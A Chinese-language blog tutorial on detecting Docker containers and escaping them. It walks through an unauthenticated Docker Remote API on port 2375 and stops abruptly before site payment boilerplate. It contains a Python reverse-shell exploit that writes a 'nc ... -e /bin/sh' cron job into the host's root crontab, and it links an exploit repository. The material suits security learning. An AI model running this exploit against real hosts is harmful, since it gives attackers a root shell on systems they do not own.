基于网络安全的Docker逃逸

如何判断当前机器是否为Docker容器环境

Metasploit中的checkcontainer模块、(判断是否为虚拟机,checkvm模块)

搭配Docker逃逸学习教程
在这里插入图片描述

1. 检查根目录下是否存在.dockerenv文件

image.png
image.png

2. 检查/proc/1/cgroup是否存在还有docker字符串

image.png
image.png

cat /proc/1/cgroup

image.png

3. 检查是否存在container环境变量

通过env\PATH来检查是否有docker相关的环境变量,来进一步判断

4. 其他检测方式

如检测mount、fdisk -l查看硬盘、判断PID 1的进程名等也可用来辅助判断

Docker逃逸方式

1. 危险的配置导致Docker逃逸

由于"纵深防御" 和 "最小权限"等理念和原则落地,越来越难以直接利用漏洞来进行利用。另一方面,公开的漏洞,安全运维人员能够及时将其修复,当然,不免存在漏网之鱼。相反,更多的是利用错误的、危险的配置来进行利用,不仅仅Docker逃逸,其他漏洞也是,比如生产环境开启Debug模式导致漏洞利用等等。

Docker已经将容器运行时的Capabilities黑名单机制改为如今的默认禁止所有Capabilities,再以白名单方式赋予容器运行所需的最小权限

docket remote api未授权访问导致逃逸

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker

Docker Remote API的端口2375端口

访问http://your-ip:2375/version

火狐打开如下,证明存在未授权访问漏洞
image.png

在kali上开启nc监听本地端口,用来接收反弹shell

反弹Shell exp:

import docker 
client = docker.DockerClient(base_url='http://your-ip:2375/') 
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

执行脚本,shell会反弹到kali主机上

Github上的exp:https://github.com/Tycx2ry/docker_api_vul
image.png

另一种方式

首先访问http://your-ip:2375/version
image.png

访问http://ip:2375/containers/json

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值